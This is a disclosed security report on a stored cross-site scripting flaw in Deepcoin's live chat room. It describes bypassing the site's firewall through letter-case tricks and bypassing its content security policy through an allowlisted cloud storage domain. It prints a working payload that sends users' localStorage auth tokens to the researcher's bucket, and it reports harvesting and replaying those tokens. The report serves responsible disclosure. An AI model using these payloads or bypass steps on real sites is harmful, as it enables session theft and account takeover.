Deepcoin Disclosed Report

https://www.deepcoin.com/

During testing Chat Rooms functionality, I've discovered that it's still possible to inject malicious payloads by crafting special exploit combined with encoding and loading scripts from the third-party resources meaning that Deepcoin users are still under a big risk being hacked with malicious users.

To start with, I've discovered that your custom WAF solution may be easily bypassed by manipulating with letters case and encoding some of the blacklisted parameters to the ASCII encode. Keeping this in mind, I crafted the payload will completely bypasses WAF blacklisting and allowing to alert the Auth token from the localStorage. Here's an example of working payload:

<form><button formaction=jAvasCript:alert(localStorage.getItem('token'))>click

After I discovered of how the WAF can be bypassed, I've started CSP header analysis and after some period of time, I've discovered that CSP is vulnerable and can be easily bypassed by setting up S3 buckets on the following resources:

• *.oss-accelerate.aliyuncs.com
• *.s3.ap-northeast-1.amazonaws.com
• *.s3.ap-southeast-1.amazonaws.com

After that, I've created a custom S3 bucket service on the Germany (Frankfurt) region with enabled "Transfer Acceleration", which allowed to make my instance accessible on the *.oss-accelerate.aliyuncs.com domain, which is excluded in the CSP header, allowing me to load my custom scripts and images to the Deepcoin application.

Then, I've hosted and HTML file containing <h1>Hello</h1> and set it up as a static page which will be loading by requesting my instance located on dasdasdads.oss-accelerate.aliyuncs.com subdomain. This allowed me to collect access log of the file I host on my custom bucket. Keeping this in mind, I crafted a special payload with <img> HTML tag, which constantly trying to load an image to the Deepcoin Live Chat Room and appending the localStorage token object to the GET request as URI parameter. The following payloads bypasses your custom WAF solution and implemented CSP security measure by hosting my app on the trusted domain:

"><iMg sRc=x oNerRor=this.src='https://dasdasdads.oss-accelerate.aliyuncs.com/?'+JSON.stringify(localStorage.getItem('token'));>

Finally, after the payload was crafted, debuged, and the logging was turned on my Bucket instance, I've successfully injected it to the the Deepcoin Live Chat Room.

As you can see, It started generating massive amount of requests to my resource containing the Auth token from the local storage:

After that, all I had to do is just exfiltrate the Auth token from my buckets access log:

As you can see from the attached screenshot, Auth tokens were successfully attached to the request and logged by my Bucket service, and can be checked after the /?%22 URI value. Here's the part of the log I've collected containing about 50.000 lines.

Besides that, with this attack it's possible to exfiltrate not only Auth tokens, but also private information like users IP, emails, phone numbers, country, UID and much more as it all contains in the localStorage.

To prove the severity of this issue, I'm providing a screenshot from the Deepcoin API endpoint where the retrieved token used as the Authentication header, meaning that all the retrieved tokens may be reused as according to my investigation, the session stays alive for several days.

To finalize my report, all the Deepcoin users which visit Deepcoin Live chat room are affected to this vulnerability, as all their data can be easily stolen without any interaction, all they need to do is load the chat room page.

All required steps are described in the part below.